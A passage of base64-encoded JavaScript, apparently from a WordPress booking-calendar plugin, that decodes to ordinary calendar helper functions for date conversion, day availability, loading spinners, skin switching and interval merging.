ZV9pZFx0XHRJRCBvZiByZXNvdXJjZVxyXG5cdCAqIEBwYXJhbSB5ZWFyXHRcdFx0XHQtIHJlYWwgeWVhciAgLSAyMDIzXHJcblx0ICogQHBhcmFtIG1vbnRoXHRcdFx0XHQtIHJlYWwgbW9udGggLSAxMlxyXG5cdCAqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJfX3Njcm9sbF90byggcmVzb3VyY2VfaWQsIHllYXIsIG1vbnRoICl7XHJcblxyXG5cdFx0aWYgKCAndW5kZWZpbmVkJyA9PT0gdHlwZW9mIChyZXNvdXJjZV9pZCkgKXsgcmVzb3VyY2VfaWQgPSAnMSc7IH1cclxuXHRcdHZhciBpbnN0ID0gd3BiY19jYWxlbmRhcl9fZ2V0X2luc3QoIHJlc291cmNlX2lkIClcclxuXHRcdGlmICggbnVsbCAhPT0gaW5zdCApe1xyXG5cclxuXHRcdFx0eWVhciAgPSBwYXJzZUludCggeWVhciApO1xyXG5cdFx0XHRtb250aCA9IHBhcnNlSW50KCBtb250aCApIC0gMTtcdFx0Ly8gSW4gSlMgZGF0ZSwgIG1vbnRoIC0xXHJcblxyXG5cdFx0XHRpbnN0LmN1cnNvckRhdGUgPSBuZXcgRGF0ZSgpO1xyXG5cdFx0XHQvLyBJbiBzb21lIGNhc2VzLCAgdGhlIHNldEZ1bGxZZWFyIGNhbiAgc2V0ICBvbmx5IFllYXIsICBhbmQgbm90IHRoZSBNb250aCBhbmQgZGF5ICAgICAgLy9GaXhJbjo2LjIuMy41XHJcblx0XHRcdGluc3QuY3Vyc29yRGF0ZS5zZXRGdWxsWWVhciggeWVhciwgbW9udGgsIDEgKTtcclxuXHRcdFx0aW5zdC5jdXJzb3JEYXRlLnNldE1vbnRoKCBtb250aCApO1xyXG5cdFx0XHRpbnN0LmN1cnNvckRhdGUuc2V0RGF0ZSggMSApO1xyXG5cclxuXHRcdFx0aW5zdC5kcmF3TW9udGggPSBpbnN0LmN1cnNvckRhdGUuZ2V0TW9udGgoKTtcclxuXHRcdFx0aW5zdC5kcmF3WWVhciA9IGluc3QuY3Vyc29yRGF0ZS5nZXRGdWxsWWVhcigpO1xyXG5cclxuXHRcdFx0alF1ZXJ5LmRhdGVwaWNrLl9ub3RpZnlDaGFuZ2UoIGluc3QgKTtcclxuXHRcdFx0alF1ZXJ5LmRhdGVwaWNrLl9hZGp1c3RJbnN0RGF0ZSggaW5zdCApO1xyXG5cdFx0XHRqUXVlcnkuZGF0ZXBpY2suX3Nob3dEYXRlKCBpbnN0ICk7XHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fdXBkYXRlRGF0ZXBpY2soIGluc3QgKTtcclxuXHJcblx0XHRcdHJldHVybiB0cnVlO1xyXG5cdFx0fVxyXG5cdFx0cmV0dXJuIGZhbHNlO1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogSXMgdGhpcyBkYXRlIHNlbGVjdGFibGUgaW4gY2FsZW5kYXIgKG1haW5seSBpdCdzIG1lYW5zIEFWQUlMQUJMRSBkYXRlKVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtpbnR8c3RyaW5nfSByZXNvdXJjZV9pZFx0XHQxXHJcblx0ICogQHBhcmFtIHtzdHJpbmd9IHNxbF9jbGFzc19kYXlcdFx0JzIwMjMtMDgtMTEnXHJcblx0ICogQHJldHVybnMge2Jvb2xlYW59XHRcdFx0XHRcdHRydWUgfCBmYWxzZVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfaXNfdGhpc19kYXlfc2VsZWN0YWJsZSggcmVzb3VyY2VfaWQsIHNxbF9jbGFzc19kYXkgKXtcclxuXHJcblx0XHQvLyBHZXQgRGF0YSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0dmFyIGRhdGVfYm9va2luZ3Nfb2JqID0gX3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSggcmVzb3VyY2VfaWQsIHNxbF9jbGFzc19kYXkgKTtcclxuXHJcblx0XHR2YXIgaXNfZGF5X3NlbGVjdGFibGUgPSAoIHBhcnNlSW50KCBkYXRlX2Jvb2tpbmdzX29ialsgJ2RheV9hdmFpbGFiaWxpdHknIF0gKSA+IDAgKTtcclxuXHJcblx0XHRpZiAoIHR5cGVvZiAoZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5JyBdKSA9PT0gJ3VuZGVmaW5lZCcgKXtcclxuXHRcdFx0cmV0dXJuIGlzX2RheV9zZWxlY3RhYmxlO1xyXG5cdFx0fVxyXG5cclxuXHRcdGlmICggJ2F2YWlsYWJsZScgIT0gZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfZGF5JyBdICl7XHJcblxyXG5cdFx0XHR2YXIgaXNfc2V0X3BlbmRpbmdfZGF5c19zZWxlY3RhYmxlID0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdwZW5kaW5nX2RheXNfc2VsZWN0YWJsZScgKTtcdFx0Ly8gc2V0IHBlbmRpbmcgZGF5cyBzZWxlY3RhYmxlICAgICAgICAgIC8vRml4SW46IDguNi4xLjE4XHJcblxyXG5cdFx0XHRzd2l0Y2ggKCBkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9ib29raW5ncycgXSApe1xyXG5cdFx0XHRcdGNhc2UgJ3BlbmRpbmcnOlxyXG5cdFx0XHRcdC8vIFNpdHVhdGlvbnMgZm9yIFwiY2hhbmdlLW92ZXJcIiBkYXlzOlxyXG5cdFx0XHRcdGNhc2UgJ3BlbmRpbmdfcGVuZGluZyc6XHJcblx0XHRcdFx0Y2FzZSAncGVuZGluZ19hcHByb3ZlZCc6XHJcblx0XHRcdFx0Y2FzZSAnYXBwcm92ZWRfcGVuZGluZyc6XHJcblx0XHRcdFx0XHRpc19kYXlfc2VsZWN0YWJsZSA9IChpc19kYXlfc2VsZWN0YWJsZSkgPyB0cnVlIDogaXNfc2V0X3BlbmRpbmdfZGF5c19zZWxlY3RhYmxlO1xyXG5cdFx0XHRcdFx0YnJlYWs7XHJcblx0XHRcdFx0ZGVmYXVsdDpcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBpc19kYXlfc2VsZWN0YWJsZTtcclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIElzIGRhdGUgdG8gY2hlY2sgSU4gYXJyYXkgb2Ygc2VsZWN0ZWQgZGF0ZXNcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7ZGF0ZX1qc19kYXRlX3RvX2NoZWNrXHRcdC0gSlMgRGF0ZVx0XHRcdC0gc2ltcGxlICBKYXZhU2NyaXB0IERhdGUgb2JqZWN0XHJcblx0ICogQHBhcmFtIHtbXX0ganNfZGF0ZXNfYXJyXHRcdFx0LSBbIEpTRGF0ZSwgLi4uIF0gICAtIGFycmF5ICBvZiBKUyBkYXRlc1xyXG5cdCAqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfaXNfdGhpc19kYXlfYW1vbmdfc2VsZWN0ZWRfZGF5cygganNfZGF0ZV90b19jaGVjaywganNfZGF0ZXNfYXJyICl7XHJcblxyXG5cdFx0Zm9yICggdmFyIGRhdGVfaW5kZXggPSAwOyBkYXRlX2luZGV4IDwganNfZGF0ZXNfYXJyLmxlbmd0aCA7IGRhdGVfaW5kZXgrKyApeyAgICAgXHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogOC40LjUuMTZcclxuXHRcdFx0aWYgKCAoIGpzX2RhdGVzX2FyclsgZGF0ZV9pbmRleCBdLmdldEZ1bGxZZWFyKCkgPT09IGpzX2RhdGVfdG9fY2hlY2suZ2V0RnVsbFllYXIoKSApICYmXHJcblx0XHRcdFx0ICgganNfZGF0ZXNfYXJyWyBkYXRlX2luZGV4IF0uZ2V0TW9udGgoKSA9PT0ganNfZGF0ZV90b19jaGVjay5nZXRNb250aCgpICkgJiZcclxuXHRcdFx0XHQgKCBqc19kYXRlc19hcnJbIGRhdGVfaW5kZXggXS5nZXREYXRlKCkgPT09IGpzX2RhdGVfdG9fY2hlY2suZ2V0RGF0ZSgpICkgKSB7XHJcblx0XHRcdFx0XHRyZXR1cm4gdHJ1ZTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiAgZmFsc2U7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgU1FMIENsYXNzIERhdGUgJzIwMjMtMDgtMDEnIGZyb20gIEpTIERhdGVcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBkYXRlXHRcdFx0XHRKUyBEYXRlXHJcblx0ICogQHJldHVybnMge3N0cmluZ31cdFx0JzIwMjMtMDgtMTInXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19fZ2V0X19zcWxfY2xhc3NfZGF0ZSggZGF0ZSApe1xyXG5cclxuXHRcdHZhciBzcWxfY2xhc3NfZGF5ID0gZGF0ZS5nZXRGdWxsWWVhcigpICsgJy0nO1xyXG5cdFx0XHRzcWxfY2xhc3NfZGF5ICs9ICggKCBkYXRlLmdldE1vbnRoKCkgKyAxICkgPCAxMCApID8gJzAnIDogJyc7XHJcblx0XHRcdHNxbF9jbGFzc19kYXkgKz0gKCBkYXRlLmdldE1vbnRoKCkgKyAxICkgKyAnLSdcclxuXHRcdFx0c3FsX2NsYXNzX2RheSArPSAoIGRhdGUuZ2V0RGF0ZSgpIDwgMTAgKSA/ICcwJyA6ICcnO1xyXG5cdFx0XHRzcWxfY2xhc3NfZGF5ICs9IGRhdGUuZ2V0RGF0ZSgpO1xyXG5cclxuXHRcdFx0cmV0dXJuIHNxbF9jbGFzc19kYXk7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgSlMgRGF0ZSBmcm9tICB0aGUgU1FMIGRhdGUgZm9ybWF0ICcyMDI0LTA1LTE0J1xyXG5cdCAqIEBwYXJhbSBzcWxfY2xhc3NfZGF0ZVxyXG5cdCAqIEByZXR1cm5zIHtEYXRlfVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfX2dldF9fanNfZGF0ZSggc3FsX2NsYXNzX2RhdGUgKXtcclxuXHJcblx0XHR2YXIgc3FsX2NsYXNzX2RhdGVfYXJyID0gc3FsX2NsYXNzX2RhdGUuc3BsaXQoICctJyApO1xyXG5cclxuXHRcdHZhciBkYXRlX2pzID0gbmV3IERhdGUoKTtcclxuXHJcblx0XHRkYXRlX2pzLnNldEZ1bGxZZWFyKCBwYXJzZUludCggc3FsX2NsYXNzX2RhdGVfYXJyWyAwIF0gKSwgKHBhcnNlSW50KCBzcWxfY2xhc3NfZGF0ZV9hcnJbIDEgXSApIC0gMSksIHBhcnNlSW50KCBzcWxfY2xhc3NfZGF0ZV9hcnJbIDIgXSApICk7ICAvLyB5ZWFyLCBtb250aCwgZGF0ZVxyXG5cclxuXHRcdC8vIFdpdGhvdXQgdGhpcyB0aW1lIGFkanVzdCBEYXRlcyBzZWxlY3Rpb24gIGluIERhdGVwaWNrZXIgY2FuIG5vdCB3b3JrISEhXHJcblx0XHRkYXRlX2pzLnNldEhvdXJzKDApO1xyXG5cdFx0ZGF0ZV9qcy5zZXRNaW51dGVzKDApO1xyXG5cdFx0ZGF0ZV9qcy5zZXRTZWNvbmRzKDApO1xyXG5cdFx0ZGF0ZV9qcy5zZXRNaWxsaXNlY29uZHMoMCk7XHJcblxyXG5cdFx0cmV0dXJuIGRhdGVfanM7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgVEQgQ2xhc3MgRGF0ZSAnMS0zMS0yMDIzJyBmcm9tICBKUyBEYXRlXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZGF0ZVx0XHRcdFx0SlMgRGF0ZVxyXG5cdCAqIEByZXR1cm5zIHtzdHJpbmd9XHRcdCcxLTMxLTIwMjMnXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19fZ2V0X190ZF9jbGFzc19kYXRlKCBkYXRlICl7XHJcblxyXG5cdFx0dmFyIHRkX2NsYXNzX2RheSA9IChkYXRlLmdldE1vbnRoKCkgKyAxKSArICctJyArIGRhdGUuZ2V0RGF0ZSgpICsgJy0nICsgZGF0ZS5nZXRGdWxsWWVhcigpO1x0XHRcdFx0XHRcdFx0XHQvLyAnMS05LTIwMjMnXHJcblxyXG5cdFx0cmV0dXJuIHRkX2NsYXNzX2RheTtcclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIEdldCBkYXRlIHBhcmFtcyBmcm9tICBzdHJpbmcgZGF0ZVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIGRhdGVcdFx0XHRzdHJpbmcgZGF0ZSBsaWtlICczMS41LjIwMjMnXHJcblx0ICogQHBhcmFtIHNlcGFyYXRvclx0XHRkZWZhdWx0ICcuJyAgY2FuIGJlIHNraXBwZWQuXHJcblx0ICogQHJldHVybnMgeyAge2RhdGU6IG51bWJlciwgbW9udGg6IG51bWJlciwgeWVhcjogbnVtYmVyfSAgfVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfX2dldF9fZGF0ZV9wYXJhbXNfX2Zyb21fc3RyaW5nX2RhdGUoIGRhdGUgLCBzZXBhcmF0b3Ipe1xyXG5cclxuXHRcdHNlcGFyYXRvciA9ICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAoc2VwYXJhdG9yKSApID8gc2VwYXJhdG9yIDogJy4nO1xyXG5cclxuXHRcdHZhciBkYXRlX2FyciA9IGRhdGUuc3BsaXQoIHNlcGFyYXRvciApO1xyXG5cdFx0dmFyIGRhdGVfb2JqID0ge1xyXG5cdFx0XHQneWVhcicgOiAgcGFyc2VJbnQoIGRhdGVfYXJyWyAyIF0gKSxcclxuXHRcdFx0J21vbnRoJzogKHBhcnNlSW50KCBkYXRlX2FyclsgMSBdICkgLSAxKSxcclxuXHRcdFx0J2RhdGUnIDogIHBhcnNlSW50KCBkYXRlX2FyclsgMCBdIClcclxuXHRcdH07XHJcblx0XHRyZXR1cm4gZGF0ZV9vYmo7XHRcdC8vIGZvciBcdFx0ID0gbmV3IERhdGUoIGRhdGVfb2JqLnllYXIgLCBkYXRlX29iai5tb250aCAsIGRhdGVfb2JqLmRhdGUgKTtcclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIEFkZCBTcGluIExvYWRlciB0byAgY2FsZW5kYXJcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2NhbGVuZGFyX19sb2FkaW5nX19zdGFydCggcmVzb3VyY2VfaWQgKXtcclxuXHRcdGlmICggISBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLm5leHQoKS5oYXNDbGFzcyggJ3dwYmNfc3BpbnNfbG9hZGVyX3dyYXBwZXInICkgKXtcclxuXHRcdFx0alF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS5hZnRlciggJzxkaXYgY2xhc3M9XCJ3cGJjX3NwaW5zX2xvYWRlcl93cmFwcGVyXCI+PGRpdiBjbGFzcz1cIndwYmNfc3BpbnNfbG9hZGVyXCI+PC9kaXY+PC9kaXY+JyApO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCAhIGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkuaGFzQ2xhc3MoICd3cGJjX2NhbGVuZGFyX2JsdXJfc21hbGwnICkgKXtcclxuXHRcdFx0alF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS5hZGRDbGFzcyggJ3dwYmNfY2FsZW5kYXJfYmx1cl9zbWFsbCcgKTtcclxuXHRcdH1cclxuXHRcdHdwYmNfY2FsZW5kYXJfX2JsdXJfX3N0YXJ0KCByZXNvdXJjZV9pZCApO1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogUmVtb3ZlIFNwaW4gTG9hZGVyIHRvICBjYWxlbmRhclxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJfX2xvYWRpbmdfX3N0b3AoIHJlc291cmNlX2lkICl7XHJcblx0XHRqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCArICcgKyAud3BiY19zcGluc19sb2FkZXJfd3JhcHBlcicgKS5yZW1vdmUoKTtcclxuXHRcdGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkucmVtb3ZlQ2xhc3MoICd3cGJjX2NhbGVuZGFyX2JsdXJfc21hbGwnICk7XHJcblx0XHR3cGJjX2NhbGVuZGFyX19ibHVyX19zdG9wKCByZXNvdXJjZV9pZCApO1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogQWRkIEJsdXIgdG8gIGNhbGVuZGFyXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9fYmx1cl9fc3RhcnQoIHJlc291cmNlX2lkICl7XHJcblx0XHRpZiAoICEgalF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS5oYXNDbGFzcyggJ3dwYmNfY2FsZW5kYXJfYmx1cicgKSApe1xyXG5cdFx0XHRqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLmFkZENsYXNzKCAnd3BiY19jYWxlbmRhcl9ibHVyJyApO1xyXG5cdFx0fVxyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogUmVtb3ZlIEJsdXIgaW4gIGNhbGVuZGFyXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9fYmx1cl9fc3RvcCggcmVzb3VyY2VfaWQgKXtcclxuXHRcdGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkucmVtb3ZlQ2xhc3MoICd3cGJjX2NhbGVuZGFyX2JsdXInICk7XHJcblx0fVxyXG5cclxuXHJcblx0Ly8gLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi5cclxuXHQvKiAgPT0gIENhbGVuZGFyIFVwZGF0ZSAgLSBWaWV3ICA9PVxyXG5cdC8vIC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uICovXHJcblxyXG5cdC8qKlxyXG5cdCAqIFVwZGF0ZSBMb29rICBvZiBjYWxlbmRhclxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9fdXBkYXRlX2xvb2soIHJlc291cmNlX2lkICl7XHJcblxyXG5cdFx0dmFyIGluc3QgPSB3cGJjX2NhbGVuZGFyX19nZXRfaW5zdCggcmVzb3VyY2VfaWQgKTtcclxuXHJcblx0XHRqUXVlcnkuZGF0ZXBpY2suX3VwZGF0ZURhdGVwaWNrKCBpbnN0ICk7XHJcblx0fVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogVXBkYXRlIGR5bmFtaWNhbGx5IE51bWJlciBvZiBNb250aHMgaW4gY2FsZW5kYXJcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZCBpbnRcclxuXHQgKiBAcGFyYW0gbW9udGhzX251bWJlciBpbnRcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2NhbGVuZGFyX191cGRhdGVfbW9udGhzX251bWJlciggcmVzb3VyY2VfaWQsIG1vbnRoc19udW1iZXIgKXtcclxuXHRcdHZhciBpbnN0ID0gd3BiY19jYWxlbmRhcl9fZ2V0X2luc3QoIHJlc291cmNlX2lkICk7XHJcblx0XHRpZiAoIG51bGwgIT09IGluc3QgKXtcclxuXHRcdFx0aW5zdC5zZXR0aW5nc1sgJ251bWJlck9mTW9udGhzJyBdID0gbW9udGhzX251bWJlcjtcclxuXHRcdFx0Ly9fd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2NhbGVuZGFyX251bWJlcl9vZl9tb250aHMnLCBtb250aHNfbnVtYmVyICk7XHJcblx0XHRcdHdwYmNfY2FsZW5kYXJfX3VwZGF0ZV9sb29rKCByZXNvdXJjZV9pZCApO1xyXG5cdFx0fVxyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIFNob3cgY2FsZW5kYXIgaW4gIGRpZmZlcmVudCBTa2luXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gc2VsZWN0ZWRfc2tpbl91cmxcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX19jYWxlbmRhcl9fY2hhbmdlX3NraW4oIHNlbGVjdGVkX3NraW5fdXJsICl7XHJcblxyXG5cdC8vY29uc29sZS5sb2coICdTS0lOIFNFTEVDVElPTiA6OicsIHNlbGVjdGVkX3NraW5fdXJsICk7XHJcblxyXG5cdFx0Ly8gUmVtb3ZlIENTUyBza2luXHJcblx0XHR2YXIgc3R5bGVzaGVldCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCAnd3BiYy1jYWxlbmRhci1za2luLWNzcycgKTtcclxuXHRcdHN0eWxlc2hlZXQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCggc3R5bGVzaGVldCApO1xyXG5cclxuXHJcblx0XHQvLyBBZGQgbmV3IENTUyBza2luXHJcblx0XHR2YXIgaGVhZElEID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoIFwiaGVhZFwiIClbIDAgXTtcclxuXHRcdHZhciBjc3NOb2RlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCggJ2xpbmsnICk7XHJcblx0XHRjc3NOb2RlLnR5cGUgPSAndGV4dC9jc3MnO1xyXG5cdFx0Y3NzTm9kZS5zZXRBdHRyaWJ1dGUoIFwiaWRcIiwgXCJ3cGJjLWNhbGVuZGFyLXNraW4tY3NzXCIgKTtcclxuXHRcdGNzc05vZGUucmVsID0gJ3N0eWxlc2hlZXQnO1xyXG5cdFx0Y3NzTm9kZS5tZWRpYSA9ICdzY3JlZW4nO1xyXG5cdFx0Y3NzTm9kZS5ocmVmID0gc2VsZWN0ZWRfc2tpbl91cmw7XHQvL1wiaHR0cDovL2JldGEvd3AtY29udGVudC9wbHVnaW5zL2Jvb2tpbmcvY3NzL3NraW5zL2dyZWVuLTAxLmNzc1wiO1xyXG5cdFx0aGVhZElELmFwcGVuZENoaWxkKCBjc3NOb2RlICk7XHJcblx0fVxyXG5cclxuXHJcblx0ZnVuY3Rpb24gd3BiY19fY3NzX19jaGFuZ2Vfc2tpbiggc2VsZWN0ZWRfc2tpbl91cmwsIHN0eWxlc2hlZXRfaWQgPSAnd3BiYy10aW1lX3BpY2tlci1za2luLWNzcycgKXtcclxuXHJcblx0XHQvLyBSZW1vdmUgQ1NTIHNraW5cclxuXHRcdHZhciBzdHlsZXNoZWV0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIHN0eWxlc2hlZXRfaWQgKTtcclxuXHRcdHN0eWxlc2hlZXQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCggc3R5bGVzaGVldCApO1xyXG5cclxuXHJcblx0XHQvLyBBZGQgbmV3IENTUyBza2luXHJcblx0XHR2YXIgaGVhZElEID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoIFwiaGVhZFwiIClbIDAgXTtcclxuXHRcdHZhciBjc3NOb2RlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCggJ2xpbmsnICk7XHJcblx0XHRjc3NOb2RlLnR5cGUgPSAndGV4dC9jc3MnO1xyXG5cdFx0Y3NzTm9kZS5zZXRBdHRyaWJ1dGUoIFwiaWRcIiwgc3R5bGVzaGVldF9pZCApO1xyXG5cdFx0Y3NzTm9kZS5yZWwgPSAnc3R5bGVzaGVldCc7XHJcblx0XHRjc3NOb2RlLm1lZGlhID0gJ3NjcmVlbic7XHJcblx0XHRjc3NOb2RlLmhyZWYgPSBzZWxlY3RlZF9za2luX3VybDtcdC8vXCJodHRwOi8vYmV0YS93cC1jb250ZW50L3BsdWdpbnMvYm9va2luZy9jc3Mvc2tpbnMvZ3JlZW4tMDEuY3NzXCI7XHJcblx0XHRoZWFkSUQuYXBwZW5kQ2hpbGQoIGNzc05vZGUgKTtcclxuXHR9XHJcblxyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbi8qICA9PSAgUyBVIFAgUCBPIFIgVCAgICBNIEEgVCBIICA9PVxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcblx0XHQvKipcclxuXHRcdCAqIE1lcmdlIHNldmVyYWwgIGludGVyc2VjdGVkIGludGVydmFscyBvciByZXR1cm4gbm90IGludGVyc2VjdGVkOiAgICAgICAgICAgICAgICAgICAgICAgIFtbMSwzXSxbMiw2XSxbOCwxMF0sWzE1LDE4XV0gIC0+ICAgW1sxLDZdLFs4LDEwXSxbMTUsMThdXVxyXG5cdFx0ICpcclxuXHRcdCAqIEBwYXJhbSBbXSBpbnRlcnZhbHNcdFx0XHQgWyBbMSwzXSxbMiw0XSxbNiw4XSxbOSwxMF0sWzMsN10gXVxyXG5cdFx0ICogQHJldHVybnMgW11cdFx0XHRcdFx0IFsgWzEsOF0sWzksMTBdIF1cclxuXHRcdCAqXHJcblx0XHQgKiBFeG1hbXBsZTogd3BiY19pbnRlcnZhbHNfX21lcmdlX2luZXJzZWN0ZWQoICBbIFsxLDNdLFsyLDRdLFs2LDhdLFs5LDEwXSxbMyw3XSBdICApO1xyXG5cdFx0ICovXHJcblx0XHRmdW5jdGlvbiB3cGJjX2ludGVydmFsc19fbWVyZ2VfaW5lcnNlY3RlZCggaW50ZXJ2YWxzICl7XHJcblxyXG5cdFx0XHRpZiAoICEgaW50ZXJ2YWxzIHx8IGludGVydmFscy5sZW5ndGggPT09IDAgKXtcclxuXHRcdFx0XHRyZXR1cm4gW107XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdHZhciBtZXJnZWQgPSBbXTtcclxuXHRcdFx0aW50ZXJ2YWxzLnNvcnQoIGZ1bmN0aW9uICggYSwgYiApe1xyXG5cdFx0XHRcdHJldHVybiBhWyAwIF0gLSBiWyAwIF07XHJcblx0XHRcdH0gKTtcclxuXHJcblx0XHRcdHZhciBtZXJnZWRJbnRlcnZhbCA9IGludGVydmFsc1sgMCBdO1xyXG5cclxuXHRcdFx0Zm9yICggdmFyIGkgPSAxOyBpIDwgaW50ZXJ2YWxzLmxlbmd0aDsgaSsrICl7XHJcblx0XHRcdFx0dmFyIGludGVydmFsID0gaW50ZXJ2YWxzWyBpIF07XHJcblxyXG5cdFx0XHRcdGlmICggaW50ZXJ2YWxbIDAgXSA8PSBtZXJnZWRJbnRlcnZhbFsgMSBdICl7XHJcblx0XHRcdFx0XHRtZXJnZWRJbnRlcnZhbFsgMSBdID0gTWF0aC5tYXgoIG1lcmdlZEludGVydmFsWyAxIF0sIGludGVydmFsWyAxIF0gKTtcclxuXHRcdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdFx0bWVyZ2VkLnB1c2goIG1lcmdlZEludGVydmFsICk7XHJcblx0XHRcdFx0XHRtZXJnZWRJbnRlcnZhbCA9IGludGVydmFsO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0bWVyZ2VkLnB1c2goIG1lcmdlZEludGVydmFsICk7XHJcblx0XHRcdHJldHVybiBtZXJnZWQ7XHJcblx0XHR9XHJcblxyXG5cclxuXHRcdC8qKlxyXG5cdFx0ICogSXMgMiBpbnRlcnZhbHMgaW50ZXJzZWN0ZWQ6ICAgICAgIFszNjAxMSwgODYzOTJdICAgIDw9PiAgICBb